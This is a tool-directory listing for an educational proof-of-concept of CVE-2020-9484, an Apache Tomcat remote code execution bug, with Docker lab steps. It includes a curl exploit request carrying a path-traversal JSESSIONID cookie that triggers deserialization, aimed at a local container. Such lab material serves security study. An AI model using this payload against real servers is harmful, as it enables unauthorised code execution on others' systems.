Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-9484 — Educational proof-of-concept exploit for CVE-2020-9484 (Apache Tomcat RCE via session persistence). Includes Docker-based lab for testing the deserialization vulnerability. | Kitploit
Tools/GitHubGitHub/masahiro331/cve-2020-9484
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubmasahiro331/cve-2020-9484

CVE-2020-9484

Educational proof-of-concept exploit for CVE-2020-9484 (Apache Tomcat RCE via session persistence). Includes Docker-based lab for testing the deserialization vulnerability.

View Repository
126274 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-9484 (Tomcat)

For educational purposes only.

See Reference for the details.

Run

root@kitploit:~
$ git clone https://github.com/masahiro331/CVE-2020-9484.git
$ cd CVE-2020-9484
$ docker build -t tomcat:groovy .
$ CONTAINER=`docker run -d -p 8080:8080 tomcat:groovy`

Check (clean)

root@kitploit:~
$ docker exec -it $CONTAINER ls -la /tmp

NOTE: (rce NOT in output)

Exploit

root@kitploit:~
$ curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'

Check (exploited)

root@kitploit:~
$ docker exec -it $CONTAINER ls -la /tmp

NOTE: (rce IS in output)

Download Tool